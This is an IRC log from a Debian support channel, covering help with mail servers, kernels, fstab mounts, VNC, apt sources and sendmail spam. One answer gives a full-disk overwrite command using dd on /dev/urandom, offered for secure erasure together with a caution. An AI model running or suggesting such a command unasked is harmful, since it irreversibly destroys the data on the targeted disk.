| 17:45.58 | xarg | hi ... I plan to use exim on a mailserver that will allow people to sign-up for their own accounts "hotmail" style. any suggestions on what web interface I should use? .... I am running debian sarge |
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| 17:46.01 | superSSS | what kind of kernel options are inside kernel-images ? |
| 17:46.04 | lkd | Deviant - still might not work tho |
| 17:46.09 | karsten | xarg: squirrelmail. |
| 17:46.19 | deathwarrior | rossi, check your /etc/network/interfaces |
| 17:46.24 | karsten | superSSS: /boot/config-<version> |
| 17:46.25 | Deviant | LKD yah ive tried all that too. |
| 17:46.40 | ricky_clarkson | rossi: Imm IRC, schreiben Sie bitte einen vollen Satz, bevor Sie den Rückholschlüssel betätigen. |
| 17:46.40 | asg | deathwarrior: he hasn't installed yet, that won't do any good. |
| 17:46.47 | Deviant | LKD maybe its a driver conflict Im not sure. |
| 17:46.54 | Flimzy | Does anyone sell portable DVD-Audio (no -Video) players? |
| 17:46.58 | xarg | karsten: as far as I am aware squirrellmail has no self sign-up functionality built in is there a plugin or modu? |
| 17:47.00 | lkd | Deviant - are you sure your router is set up correctly? is DHCP enabled? |
| 17:47.07 | karsten | xarg: NFC, sorry. |
| 17:47.10 | Deviant | yah DHCP is enabled |
| 17:47.14 | rossi | h3h3 ricky |
| 17:47.18 | deathwarrior | asg, so he dont had a network card installed? |
| 17:47.18 | lkd | Deviant - you might try 'pump -i <interface> |
| 17:47.19 | asg | xarg: you can build that functionality if you wish but there isn't any one available that I know of. |
| 17:47.23 | valdyn_ | ricky_clarkson: that sounds like a translation from english to germany by a japanese |
| 17:47.33 | ricky_clarkson | valdyn_: So does yours. |
| 17:47.33 | superSSS | karsten: do you know how would i rebuild a new kernel-iamge with a different options? |
| 17:47.38 | Deviant | what does that do |
| 17:47.44 | valdyn_ | ricky_clarkson: that sounds like a translation from english to german by a japanese |
| 17:47.47 | karsten | !tello superSSS about make-kpkg |
| 17:47.48 | asg | deathwarrior: that has yet to be determined. He is asking questions about doing a netinst, we are trying to find out if he can. |
| 17:47.49 | ricky_clarkson | valdyn_: ;) |
| 17:47.59 | lkd | Deviant - sends a DHCP request to your router, from <interface> |
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| 17:48.04 | ricky_clarkson | valdyn_: babelfish |
| 17:48.21 | deathwarrior | asg, ohh ok :) |
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| 17:48.26 | tobias | can you tell me why this partition in /etc/fstab ist not mounted on boot up? |
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| 17:48.40 | tobias | /dev/sdb1 /mnt/sdb1 ext3 user,auto,rw 0 0 |
| 17:48.44 | valdyn_ | ricky_clarkson: yea i thought so, beats some printed docs |
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| 17:49.08 | xarg | asg: vpopmail/vqsignup has the funtionality but I don't want to use qmail |
| 17:49.14 | cahoot | tobias: no hints in dmesg? |
| 17:49.15 | karsten | lkd: http://www.debian.org/releases/stable/i386/ch-preparing.en.html#s-linux-upgrade |
| 17:49.15 | greycat | asg: that page says "At work I use an external monitor and the "nvidia" driver's switching between the external and internal monitor with the Fn+F8 key works very well.", so it doesn't match my problem at all :/ |
| 17:49.25 | asg | xarg: then I don't know. |
| 17:49.32 | karsten | lkd: ...is official chroot install instructions. Some curves on my own docs. |
| 17:49.42 | karsten | lkd: I'm out for now, but read that. |
| 17:49.46 | deathwarrior | tobias, did you check 'dmesg' to know what the hell is ahappening??? |
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| 17:49.49 | asg | greycat: I meant in response to it doesn't work here nor with the other OS ... Time to call Dell. |
| 17:50.12 | greycat | asg: I've decided to give up. |
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| 17:50.19 | greycat | asg: I'll just declare it "in need of service" |
| 17:50.24 | lkd | karsten - thx for the help |
| 17:50.25 | asg | greycat: I can understand that perfectly |
| 17:50.45 | tobias | no but i will du thank |
| 17:50.48 | asg | xarg: squirrelmail has a pluggable architecture though so you might easily write something to suit. |
| 17:50.51 | karsten | lkd: NP. |
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| 17:51.28 | karsten | lkd: Just FYI: that's my preferred install method. With Knoppix, I pretty much don't have to worry about any HW config during the install itself. Debian's package management means once you've got a base system running, you can add what you need/want. |
| 17:52.10 | lkd | i can apt-get myself into debian-heaven, just once i get wlan-ng in there, karsten |
| 17:52.27 | usn | hi all |
| 17:52.33 | lkd | karsten - sounds perfect |
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| 17:52.50 | karsten | lkd: Well. It avoids _one_ class of problems ;-) |
| 17:53.09 | karsten | lkd: ...and Knoppix's core competence is running on a wide range of W. |
| 17:53.13 | karsten | lkd: s/W/HW/ |
| 17:53.21 | superSSS | karsten: I must get kernel-source-2.6.8 and then compile with my own options? |
| 17:53.28 | valdyn_ | !info linux-wlan-ng sid |
| 17:53.33 | dpkg | linux-wlan-ng: (utilities for wireless prism2 cards), section admin, is extra. Version: 0.2.0+0.2.1pre21-1.1 (sid), Packaged size: 108 kB, Installed size: 524 kB |
| 17:53.36 | karsten | superSSS: Yes, but ask channle, I'm gone |
| 17:53.37 | lkd | im using a knoppix-based livecd atm karsten |
| 17:53.52 | lkd | karsten-awaaaaay thx again |
| 17:54.06 | ricky_clarkson | That's a drunk nick. |
| 17:54.45 | ricky_clarkson | Is it viable to replace a broken laptop screen? |
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| 17:55.37 | karsten-awaaaaay | ricky_clarkson: What's you viability budget? |
| 17:55.42 | superCow007 | say, I typically install a debian system and always put in the the same 40 extra packages.. what is the best way to put those extra packages in as painlessly as possible? is using equivs a good strategy or is there another way? |
| 17:55.52 | ricky_clarkson | karsten-awaaaaay: $200 or $300 |
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| 17:56.16 | karsten-awaaaaay | ricky_clarkson: Buy a new used laptop chassis. Swap HDs. |
| 17:56.16 | greycat | superCow007: dpkg --get-selections and --set-selections |
| 17:56.22 | BadMan | ok how do I get the woody --> sarge from dpkg? |
| 17:56.25 | ricky_clarkson | karsten-awaaaaay: Not for that price. |
| 17:56.28 | greycat | BadMan: /msg dpkg woody->sarge |
| 17:56.37 | BadMan | ahh no spaces thanks |
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| 17:57.35 | superCow007 | ok, thanks |
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| 17:59.05 | m0p | is it just me, or does sarge setup automaticly install the AMD K7 kernel when you start the installer with the linux26 command? |
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| 17:59.28 | karsten-awaaaaay | m0p: It's just you. |
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| 17:59.59 | m0p | Hmm, it seems to do it all the time with me. |
| 18:00.13 | ricky_clarkson | m0p: You should see a dream therapist. |
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| 18:00.32 | m0p | lol |
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| 18:01.05 | blue_ | would wine or VMware more recommended |
| 18:01.20 | blue_ | woah, left a few words out |
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| 18:01.30 | ricky_clarkson | I hate when do. |
| 18:01.38 | RichiH | blue_: wine and vmware are totally different programs |
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| 18:01.56 | blue_ | im trying to test IE and got recommended both |
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| 18:02.08 | valentinos | is there a utility for switching apt mirros automaticaly to the fastes one ? |
| 18:02.20 | JediMaster | blue_ vmware will actually run any OS you want as it's a virtual machine, wine only emulates |
| 18:02.30 | m0p | they are different. VMware is a virtual x86 computer which allows you to install an OS. WINE allows you to run Windows apps within Linux. In VMware you would have to install Windows to use IE inside it. |
| 18:02.59 | blue_ | so wine probably? |
| 18:03.22 | JediMaster | blue_: unless you want to pay for vmware and windows |
| 18:03.38 | dkg0 | valentinos, apt-cache show netselect-apt |
| 18:03.39 | JediMaster | you will need a lot more memory to run vmware too |
| 18:03.39 | blue_ | ah, thanks |
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| 18:03.59 | valentinos | thanks dkg0 |
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| 18:04.14 | Becca | Hi... what would be the best way of getting one single package and what that package requires out of unstable without permenantly switching over to unstable? |
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| 18:04.42 | Blissex | Becca: using http://WWW.backports.org/ |
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| 18:05.04 | Blissex | Becca: second best, get the package source and recompile it under 'stable' using 'apt-build' for example. |
| 18:05.05 | walnuck | Becca: you can try a diversion installation or better-> compile it and make sure it installs to /usr/local |
| 18:05.21 | Becca | I'm using testing, not stable, by the way. |
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| 18:05.51 | Blissex | Becca: in that case it is almost certainly compatible and you dont need anything special. |
| 18:05.51 | Becca | What tools do I need to install to be able to do compiles? The machine is a fresh install, so |
| 18:05.51 | dkg0 | valentinos, also /msg dpkg netselect |
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| 18:06.13 | Becca | I just don't know how to alter my sources to update to get to unstable, and then drop back down to testing once I'm finished |
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| 18:06.37 | Becca | I figure since I'm already on testing, the differences won't be that bad, and I can always reinstall if things really blow up badly. |
| 18:06.42 | valentinos | thanks again |
| 18:06.44 | S4nD3r_ | hi |
| 18:06.51 | asg | Becca: change testing/sarge to unstable in your sources list ; apt-get update ; apt-get install <what you want> ; update sources to change unstable to testing/sarge ; apt-get update |
| 18:06.56 | S4nD3r_ | deb ftp://ftp.tux.org/java/debian/ sarge non-free |
| 18:07.01 | S4nD3r_ | deb ftp://mirrors.kernel.org/debian/ testing main contrib non-free |
| 18:07.03 | Blissex | Becca: the obvious thing to do is to jsut add the 'unstable' sources and just pin APT to 'testing'. |
| 18:07.06 | S4nD3r_ | deb-src ftp://mirrors.kernel.org/debian/ testing main contrib non-free |
| 18:07.11 | S4nD3r_ | deb http://security.debian.org/ testing/updates main contrib non-free |
| 18:07.13 | asg | S4nD3r_: go away |
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| 18:07.17 | S4nD3r_ | deb ftp://mirrors.kernel.org/debian/ testing main contrib non-free |
| 18:07.21 | S4nD3r_ | deb http://http.us.debian.org/debian testing main contrib non-free |
| 18:07.24 | Becca | Thank you, I'll do that |
| 18:07.24 | S4nD3r_ | deb http://ftp.acc.umu.se/mirror/mirrors.evilgeniuses.org.uk/debian/backports/woody gnome2.2/ |
| 18:07.32 | S4nD3r_ | I may have all this in my sources.lst? |
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| 18:07.58 | Blissex | Becca: to pin APT to 'testing', there is an example here: http://WWW.sabi.co.UK/Cfg/APT/ |
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| 18:08.06 | drac | S4nD3r_: Get a real nick, it's sources.list, not sources.lst, and don't fucking paste here. |
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| 18:08.59 | S4nD3r_ | lol |
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| 18:09.34 | jethro | !nickometer S4nD3r_ |
| 18:09.34 | dpkg | 'S4nD3r_' is 99.690% lame, jethro |
| 18:09.40 | S4nD3r_ | This is my one real nick |
| 18:10.05 | S4nD3r_ | Im not as lame as you told |
| 18:10.08 | S4nD3r_ | jethro, |
| 18:10.15 | tazle | what should I use to view sgml files? |
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| 18:10.18 | Marijn | !nickmeter jethro |
| 18:10.19 | dpkg | jethro is 100% lame with a cherry on top! |
| 18:10.30 | Marijn | *g* |
| 18:10.44 | asg | tazle: pager |
| 18:10.55 | asg | tazle: or convert them to some other format |
| 18:11.44 | ericb_ | anyone remember the name of dos-fdisk-like linux partition editor that is in the debian installer ? currently trying to re-run it but I don't remember the name... |
| 18:11.46 | Becca | Thanks, everyone! :) |
| 18:11.47 | Becca | Have a good day |
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| 18:12.05 | ericb_ | it's curse-based.. really like dos fdisk... it's not 'fdisk' or 'parted'... can't find it |
| 18:12.08 | asg | ericb_: cfdisk |
| 18:12.12 | Marijn | ericb_: fdisk ? cfdisk ? |
| 18:12.34 | Marijn | as in "console fdisk" :D |
| 18:12.36 | ericb_ | cfdisk |
| 18:12.41 | ericb_ | thx |
| 18:12.43 | ericb_ | that's it |
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| 18:13.41 | tazle | asg: hmm, is there some universal converter, or is sgml like xml in that regard? |
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| 18:14.12 | valentinos | dkg0, may i ask how long on 1mbit connection it usualy takes to for netselect apt to complete the selection of mirror ? |
| 18:14.52 | asg | tazle: I'd do apt-cache search sgml (and start there.) |
| 18:15.14 | dkg0 | valentinos, usually some of the servers are lame, so it won't quit until it the TCP timeout window expires. |
| 18:15.26 | dkg0 | which is usually 2 minutes, i think. |
| 18:15.43 | valentinos | thanks |
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| 18:17.37 | cadu | yay |
| 18:17.37 | sparr | Can anyone recommend a VNC-ish application that sends the display as a video stream instead of a series of individually compressed frames? I know the CPU requirement will grow immensely, but I am looking to get higher framerates on graphically complex applications. |
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| 18:18.17 | cadu | why debian testing hasn't updated to firefox 1.0.1 ? |
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| 18:18.32 | ricky_clarkson | cadu: Because we're trying to release a stable version. |
| 18:18.39 | cadu | ricky_clarkson: stable ? |
| 18:18.49 | ricky_clarkson | cadu: Stable. As in "unchanging". |
| 18:18.52 | cadu | ricky_clarkson: 1.0.1 corrects many bugs/flaws |
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| 18:19.01 | cadu | ricky_clarkson: considered a critical update ;D |
| 18:19.17 | ricky_clarkson | cadu: Does it fix any release critical bugs in bugs.debian.org? |
| 18:19.44 | madthinker | which imap server supports mbox? |
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| 18:19.49 | cadu | ricky_clarkson: didn't looked to bugs.debian.org , but if you take a look @ the changelog you'll see some strange string formating bugs and utf8 errors ;D |
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| 18:20.03 | asg | madthinker: uw-imap does, though why you'd want to use mbox instead of Maildir is beyond me |
| 18:20.04 | doneill | madthinker, uw-imapd, dovecot, freshmeat.net |
| 18:20.25 | doneill | the latter being a better place to look |
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| 18:21.02 | madthinker | i'm trying to identify if my remote server uses Maildir, how could I tell? |
| 18:21.13 | greycat | madthinker: echo $MAIL |
| 18:21.32 | deadline | hi, how can i get the old version of dcgui-qt, the p2p direct connect client |
| 18:21.38 | asg | deadline: /msg dpkg sdn |
| 18:21.42 | dkg0 | sparr, many types of video stream actually are just series of individually compressed frames. |
| 18:22.00 | madthinker | greycat: it returns /var/mail/username |
| 18:22.05 | deadline | asg: nice link, thanks |
| 18:22.06 | sparr | dkg0: yes, i dont want those :-p |
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| 18:22.14 | greycat | madthinker: does "less /var/mail/username" show you your mail? If so, it's mbox. |
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| 18:22.26 | dkg0 | have you read up on the xvideo standard? |
| 18:22.34 | greycat | madthinker: if not, then either you have no mail, or your sysadmin hasn't got the login files set up right. |
| 18:22.45 | De_Mon | how can I benchmark a gigabit network? tcpblast pegs the processor at 12MB/s but I can get 22MB/s from the IDE Controller... |
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| 18:23.02 | cadu | De_Mon: packet generator :D |
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| 18:23.17 | De_Mon | cadu isnt that what tcpblast is? |
| 18:23.32 | madthinker | greycat: it doesn't show anything. |
| 18:23.33 | cadu | De_Mon: it uses kernel interface ? |
| 18:23.39 | De_Mon | shrugs |
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| 18:23.41 | greycat | madthinker: then you have some investigating to do |
| 18:23.44 | madthinker | haha. |
| 18:23.56 | madthinker | that's all i've been doing for the last 3 days! |
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| 18:23.57 | madthinker | ;) |
| 18:24.02 | cadu | De_Mon: well , take a look at the kernel documentation for the packet generator thing ;d |
| 18:24.06 | greycat | I'd probably start with "telnet localhost 25" first. |
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| 18:24.11 | greycat | see if you can learn which MTA it is |
| 18:24.12 | dkg0 | sparr, you might want to consider also just tunnelling to the host running the application, and piping the X back directly, assuming you have the bandwidth for it. |
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| 18:24.32 | dkg0 | for example, try: ssh -Xf remotehost xterm |
| 18:24.35 | madthinker | all i want to do is sync my remote imap with my local imap. |
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| 18:24.48 | sparr | dkg0: i dont have an accelerated X server here |
| 18:24.50 | greycat | madthinker: oh? then why do you CARE what the underlying mailbox format is? speak IMAP! |
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| 18:25.32 | dkg0 | sparr, what makes you think a non-accelerated X server is going to be able to cope with high-framerate, heavily compressed video? |
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| 18:26.04 | dkg0 | the acceleration usually refers to something specific to the actual graphics card you are using, i think. |
| 18:26.05 | madthinker | greycat: this is all very new to me. :) |
| 18:26.42 | dkg0 | so if you have an accellerated X server in one place, it's not going to speed up your rendering on a remote graphics card. |
| 18:26.57 | asg | madthinker: use fetchmail, getmail, and maybe offlineimap to sync your data. |
| 18:27.07 | sparr | dkg0: it cant. what i want is something ELSE on this end. im using VNC now, what id like is something like VNC but instead of jpeg-ifying each frame i want it to mpeg-ify the entire video stream while capturing many frames per second |
| 18:27.19 | madthinker | asg: i tried offlineimap but it keeps putting new mail into an INBOX folder. |
| 18:27.33 | madthinker | asg: that's what i've been trying to do for the last day. |
| 18:27.39 | dkg0 | sparr, there's going to be some significant lag doing that, i think. |
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| 18:28.03 | dkg0 | sparr, is this for an interactive session? |
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| 18:28.06 | sparr | dkg0: why? i can encode mpeg in realtime |
| 18:28.07 | sparr | yes, interactive |
| 18:28.18 | asterix_de | hi does someone know if debian 3.1 run on a amd64 without problems |
| 18:28.23 | sparr | i already have 40ms lag from the network, another 10-20ms for encoding isnt a big deal |
| 18:28.49 | dkg0 | realtime just means that 1 minute of video takes <=1 minute to encode. |
| 18:28.55 | dkg0 | but it doesn't tell you about the latency, i think. |
| 18:28.58 | ericb_ | mmm... I'm experiencing a strange issue... mount /exports/cd/officexp tells : mount: can't find /exports/cd/officexp in /etc/fstab or /etc/mtab, but on the other side, cat /etc/fstab |grep /exports/cd/officexp return the line I wrote for this purpose |
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| 18:29.23 | greycat | asterix_de: /msg dpkg amd64 |
| 18:29.26 | ericb_ | the fstab line is : /exports/cd/officexp.iso /exports/cd/officexp/ iso9660 ro,user,loop 0 0 |
| 18:29.28 | dkg0 | are you sure that 10ms after receiving a frame it is ready to be permanently set into the mpeg stream? |
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| 18:29.40 | madthinker | asg: if i move the mail from $HOME/Maildir/INBOX to $HOME/Maildir/cur , it shows up fine. |
| 18:29.51 | sparr | dkg0: i can stream my webcam as an mpeg stream at 30 FPS at 640x480 with trivial cpu time |
| 18:30.06 | madthinker | sorry, $HOME/Maildir/INBOX/new . |
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| 18:30.35 | sepski | sparr, point your webcam at your screen... problem solved.. :) |
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| 18:30.49 | sparr | sepski: heh, thats not very interactive |
| 18:30.50 | dkg0 | good call, sepski! |
| 18:30.52 | asg | madthinker: that's probably because offlineimap is injecting the mail via your local mta. You could just write a wrapper script around offlineimap to auto move the files (hackish but will work in this case.) |
| 18:31.10 | greycat | or fix your local MTA |
| 18:31.20 | dkg0 | sparr, why not? connect with a vnc session at the same time, but background that session for kbd/mouse focus... |
| 18:31.25 | madthinker | my MTA being exim4. |
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| 18:31.39 | sparr | dkg0: lag on my mouse movements would NOT be good :) |
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| 18:31.50 | madthinker | would this be my local_delivery settings? |
| 18:31.54 | dkg0 | sparr, that's exactly the point. there is a lag. |
| 18:32.04 | sparr | with VNC i dont get lag on my mouse |
| 18:32.09 | sparr | its tracked locally |
| 18:32.10 | sepski | sparr, how long is this connection ? you cant have things go thru internet lagfree |
| 18:32.12 | sparr | i dont care about a little lag in the video |
| 18:32.24 | sparr | but with a webcam i would have lag on my mouse |
| 18:32.29 | sparr | and that would be seriously bad |
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| 18:33.29 | madthinker | greycat: would that be in my exim4 local_delivery settings? |
| 18:33.44 | sepski | sparr, what aplication are you goign too run ? you could try freenx, and also X+ x's low bandwith proxy |
| 18:33.52 | sparr | world of warcraft :) |
| 18:34.04 | sepski | none do mpeg encodings, but i dont think that have been done by anyone yet |
| 18:34.23 | rfauth | does a sarge install have a problem when compiling custom kernel with the default .config and using reiserfs for /? |
| 18:34.29 | mxn | Is it odd that "top" shows my X11R6 process to be called "Xorg"? (When I don't have xorg installed, AFAIK.) |
| 18:34.35 | deadline | how can i get libxm12 on testing sarge? |
| 18:34.44 | greycat | madthinker: I'm not an exim guy. |
| 18:34.45 | nagual | hm. i took openssl/include/openssl and put it in /usr/include, still i get passchk.c:11:25: openssl/evp.h: No such file or directory, and i can´t understand why it cant find those headers |
| 18:34.49 | rfauth | i have added reiserfs support built-in to the kernel |
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| 18:34.59 | Blissex | mxn: Xorg is a worm that can install itself to your machine even if you dont install it. :-) |
| 18:35.06 | mxn | Blissex: Tits. |
| 18:35.06 | greycat | nagual: um. did you apt-get install the ssl -dev package? |
| 18:35.14 | nagual | greycat: no, just pure sources |
| 18:35.21 | greycat | nagual: *why*? |
| 18:35.31 | nagual | it seemed easier at the time |
| 18:35.47 | deadline | how can i get libxm12 by apt on testing sarge? |
| 18:35.51 | asuffield | sparr: your webcam has a hardware mpeg encoder chip in it. but anyway, mpeg is utter crap at stuff moving around on a computer screen |
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| 18:35.59 | mxn | Blissex: BRB. I want to "lock this shit down, yo". |
| 18:36.04 | asuffield | you would not want to use it even it you could |
| 18:36.08 | greycat | deadline: it's libxml2 not libxm12 |
| 18:36.17 | sparr | asuffield: dont care about quality :) |
| 18:36.27 | nagual | greycat: worked now, thank you |
| 18:36.37 | deadline | greycat: lol, thanks |
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| 18:36.46 | asuffield | sparr: then don't send anyway, generate random data at the client end |
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| 18:36.50 | asuffield | s/anyway/anything/ |
| 18:36.55 | sparr | lol |
| 18:36.56 | greycat | and if you have to ask about a library directly, you *probably* want the -dev version. |
| 18:37.46 | data__ | Hi, I have a problem regarding mailman. Only gives me an internal server error. error_log: Premature end of script headers: create . I used the version I get on sarge with apt-get install mailman |
| 18:38.18 | rfauth | is anyone aware of an issue with reiserfs for / when recompiling the kernel? |
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| 18:38.29 | FieldySnuts | rfauth: can you be more specific? |
| 18:38.49 | ericb_ | anyone can help ? mount -o loop /exports/cd/officexp.iso /exports/cd/officexp/ works perfectly but the fallowing fstab entry :/exports/cd/officexp.iso /exports/cd/officexp/ iso9660 loop 0 0 don't work |
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| 18:39.19 | deadline | when shutting down my testing system, MTA takes too long time to shut down. the weird thing, it just happens sometimes. any suggestions how to fix that? can i remove exim4 from starting up or do i *really* need this? |
| 18:39.36 | FieldySnuts | eh how would we know if you need exim |
| 18:39.39 | FieldySnuts | if you don't, don't start it |
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| 18:39.44 | greycat | deadline: find out why... what's it waiting on? |
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| 18:39.49 | rfauth | FieldySnuts: kernel panic in particular, fresh sarge install, apt-get the source, makde oldconfig, make xconfig and added reiser support built-in and make with make-kpgk |
| 18:39.50 | mxn | Blissex: Any advisories I can read on the Xorg worm? I can't spy anything obviously helpful on Googe. |
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| 18:39.58 | greycat | deadline: is it, perchance, waiting for remote deliveries to finish? |
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| 18:40.05 | FieldySnuts | rfauth: new one on me |
| 18:40.07 | settledown_debia | any suggestions for a VNC on Debian? |
| 18:40.13 | juhov | mxn: I think it was a joke... |
| 18:40.14 | FieldySnuts | mxn: first i've heard of it, where did you hear about this? |
| 18:40.14 | Blissex | mxn: as the «:-)» indicates it was a joke... |
| 18:40.16 | FieldySnuts | settledown_debia: tightvnc |
| 18:40.19 | deadline | greycat: don't know, maybe, but im not using mail on my home LAN |
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| 18:40.29 | mxn | Blissex: Oh. |
| 18:40.41 | Blissex | mxn: however, it _might_ be a worm/rootkit masqeurading as the 'Xorg' server. |
| 18:40.45 | FieldySnuts | i'd rather know it's a joke, than think |
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| 18:41.02 | mxn | I prefer a cheeky winking grin to denote a joke. ;-) |
| 18:41.03 | asg | madthinker: /usr/sbin/exim4 -bt <username> (will tell you which transport is handling your deliveries. Check that out in /etc/exim4/* and see what it's doing.) |
| 18:41.06 | Snowdog | I think ircII is broken. |
| 18:41.09 | Blissex | mxn: so do something like 'locate -i /xorg' |
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| 18:41.38 | Spec | Xorg is a worm? omgwtf i have to delete it now! |
| 18:41.45 | settledown_debia | apt-get install "which vnc?" |
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| 18:42.08 | dkg0 | settledown_debia: do you want a VNC server or a VNC client? |
| 18:42.09 | FieldySnuts | settledown_debia: tightvnc (for the second time) |
| 18:42.15 | FieldySnuts | which is a server and client |
| 18:42.26 | settledown_debia | hmm |
| 18:42.32 | nagual | greycat, i did put the headers from openssl/include/openssl in /usr/include/openssl, any idea why that didnt work? (it worked now, which of course is most important, but i would rather now why :) |
| 18:42.44 | settledown_debia | i want to control this debian machine using remote desktop on a mac |
| 18:42.46 | mxn | Blissex: Well, the PID "Xorg" doesn't exist now I've exited X. So...I guess it's not a worm. *PHEW*. |
| 18:42.47 | greycat | nagual: you'd have to track it down file by file. who knows. |
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| 18:43.01 | greycat | mxn: it's just hibernating. |
| 18:43.01 | FieldySnuts | I don't know what remote desktop is on mac, doubt it's vnc |
| 18:43.08 | Blissex | mxn: well, then you have somehow installed the Xorg server. Weird. |
| 18:43.10 | settledown_debia | it is vnc |
| 18:43.19 | FieldySnuts | mxn: worms/rootkits can hide themselves from any user including root anyway. |
| 18:43.26 | FieldySnuts | tightvnc it is then |
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| 18:43.36 | mxn | This may be true, but I've got no reason to believe I've got a worm/rootkit on the system. |
| 18:43.37 | nagual | greycat: its just so odd, since all the files are in the exact same place whwere i put them before, but then it was by source. |
| 18:43.38 | dkg0 | <PROTECTED> |
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| 18:43.46 | stew | mxn: what version of debian are you using? |
| 18:43.50 | mxn | sid! Yay! |
| 18:43.51 | FieldySnuts | mxn: install and run chkrootkit and rkhunter, it's a start. |
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| 18:44.10 | mxn | FieldySnuts: Sure. Thanks. |
| 18:44.17 | stew | FieldySnuts: why do you think he has been rooted? |
| 18:44.17 | dkg0 | if yer using a recent mac OSX, you should just launch apple's X11 package, and use ssh -X yourdebianmachine xterm |
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| 18:44.48 | deadline | im trying to build dcgui-qt from source, when doing ./configure it says: checking for X... configure: error: Can't find X includes. Please check your installation and add the correct paths!. what do i have to install? |
| 18:44.51 | settledown_debia | that isnt a gui solution |
| 18:44.56 | FieldySnuts | stew: i never said i thought that |
| 18:45.03 | FieldySnuts | stew: he brought it up though, so those are the tools |
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| 18:45.28 | dkg0 | settledown_debia: you can launch whatever GUIs you want from that xterm. |
| 18:45.28 | mxn | stew: No reason to think I do. We're talking about it because top labels my xfree86 server as "Xorg". Unless it's actually Xorg, which I didn't think was in sid. |
| 18:45.48 | stew | mxn: dpkg -l | grep xserver |
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| 18:46.18 | settledown_debia | fieldy: apt-get install tightvnc...'canno t find package tightvnc' |
| 18:46.19 | mxn | Well what do you know. |
| 18:46.27 | FieldySnuts | shrug |
| 18:46.30 | blue_ | anyone ever installed wine-config-sidenet? |
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| 18:46.34 | Sebischn | hi |
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| 18:47.01 | Sebischn | Does someone of you know a tool that completley erases the hdd, so that no one can restore the data. |
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| 18:47.14 | sussudio | Sebischn: flamethrower. |
| 18:47.15 | FieldySnuts | Seb: secure deletion toolkit , bcwipe , there are others |
| 18:47.29 | deadline | im trying to build dcgui-qt from source, when doing ./configure it says: checking for X... configure: error: Can't find X includes. Please check your installation and add the correct paths!. what do i have to install? |
| 18:47.34 | FieldySnuts | Seb: any data is still recoverable, given somebody is motivated enough. the only real solution is to destroy the platters. |
| 18:47.46 | sussudio | see: flamethrower. |
| 18:47.53 | Sebischn | hehe |
| 18:47.56 | mxn | stew: Seems I've got xserver-xfree86 (4.3.0.dfsg.1-10) *and* xserver-xfree86-dri-trunk ("The Xorg X server") installed. I guess I'm using the latter. |
| 18:48.01 | dkg0 | Sebischn: dd if=/dev/urandom of=/dev/hda |
| 18:48.02 | pancho | I have a Debian box with a sendmail that just delivers mails to a lotus notes box, what antispam filter can I use in the linux box? I receive more than 1000 spams per day :( |
| 18:48.19 | stew | !info xserver-xfree86-dri-trunk |
| 18:48.23 | FieldySnuts | us military does 13 specific wipes just for classified data, the lowest level. secret i forget, top secret or above, they grind the platters to dust, and blow it into an incinerator. |
| 18:48.24 | Sebischn | I heared about tools that write 1 and 0 randomly on the whole partiton |
| 18:48.45 | FieldySnuts | yes, which the tools i mentioned already do that and more |
| 18:48.49 | stew | ... <dpkg> Package 'xserver-xfree86-dri-trunk' does not exist. |
| 18:48.51 | Blissex | pancho: 'bogofilter' pleases me. |
| 18:48.53 | dkg0 | Sebischn: that's what the dd command i wrote above does. but be careful!!! (replace /dev/hda with the name of the partition) |
| 18:49.02 | stew | mxn: do both lines start with ii? |
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| 18:49.08 | Sebischn | hm |
| 18:49.24 | settledown_debia | dkgo: im not familiar with x11 on macs and xterm |
| 18:49.25 | Sebischn | ok thank you guys |
| 18:49.27 | FieldySnuts | it takes more than just that to gain a relatively good wipe |
| 18:49.32 | FieldySnuts | and more than one pass (25 is common) |
| 18:49.45 | dkg0 | settledown_debia: what version of MacOS are you running? |
| 18:49.48 | mxn | stew: Yes. I did a tiny bit of black magic with a non-Debian apt source to get new DRI drivers for some graphics. (Didn't need to, but was confused at the time...) |
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| 18:50.12 | rfauth | isnt 7 passes the minimum recommended? |
| 18:50.13 | stew | mxn: well it seems you might have in that process installed xorg |
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| 18:50.39 | KasperTech | hello you guys... why is it almost impossible for me to get x up and running, and why can't I install a new kernel without kernel panic on boot :-( ? |
| 18:50.58 | mxn | stew: Weird. Don't mind. I did that ages ago. Pity apt/dpkg doesn't keep a record of when packages were installed... |
| 18:50.59 | dkg0 | FieldySnuts, rfauth: i've heard that as well, but what tools would you use to recover data from a disk that's had that done even once? |
| 18:51.01 | rfauth | KasperTech: i am having same issue |
| 18:51.07 | KasperTech | rfauth: :) |
| 18:51.15 | valdyn_ | KasperTech: because you don't know how to compile a kernel ? |
| 18:51.16 | stew | mxn: yeah hopefully it might soon, someone is currently working on that |
| 18:51.25 | rfauth | KasperTech: what filesystem is root? |
| 18:51.27 | valdyn_ | KasperTech: because you don't know how to compile a useful kernel ? |
| 18:51.27 | KasperTech | valdyn_: I'm a total newbie |
| 18:51.28 | stew | mxn: thats actually the oldest open bug in the bts |
| 18:51.29 | pancho | Blissex: thanks! |
| 18:51.31 | deadline | no suggestion for my problem guys? |
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| 18:51.33 | FieldySnuts | dkg0: once or twice, some software can. more, you're talking special hardware. beyond that, you're talking clean room conditions and extremely specialized equpiment and workers |
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| 18:51.38 | valdyn_ | KasperTech: then don't compile a kernel |
| 18:51.47 | dkg0 | FieldySnuts: what software? |
| 18:51.48 | mxn | stew: Heh. Cool. |
| 18:51.59 | FieldySnuts | dkg0: there's commercial services that will attempt to do it, it can easily cost many many thousands of us dollars |
| 18:52.01 | stew | mxn: its a near 10 year old bug |
| 18:52.03 | KasperTech | valdyn_: I dl'ed a kernel image installed rebooted and boom: kernel panic |
| 18:52.05 | mxn | (If you're feeling extra geeky, don't hesitate to pass me the #...) |
| 18:52.08 | FieldySnuts | dkg0: I don't know, never done it |
| 18:52.11 | rfauth | KasperTech: what filesystem is root? |
| 18:52.14 | stew | !dbugs 957 |
| 18:52.18 | dpkg | #957:W[dpkg] dpkg should automatically log everything Wed, 7 Jun 1995 14:03:02 UTC [#53376,#77109,#143882] |
| 18:52.19 | KasperTech | hda3 |
| 18:52.23 | FieldySnuts | dkg0: any kind of work like that is deeply into the "professional services" area |
| 18:52.31 | rfauth | ext3, reiserfs? |
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| 18:52.41 | KasperTech | ext2 |
| 18:52.48 | mxn | Hot dog. |
| 18:52.53 | MagicHands | hi. I've been browsing the web for about half an hour now, and all of a sudden, no sites open up. Instead of the site, I am redirected to some 123xxl.com site. I ma running woody with galeon...this kind of a thing isn;t supposed to happen on a woody, right? |
| 18:53.00 | valdyn_ | KasperTech: which kernel image did you replace with which? which debian release did you install? |
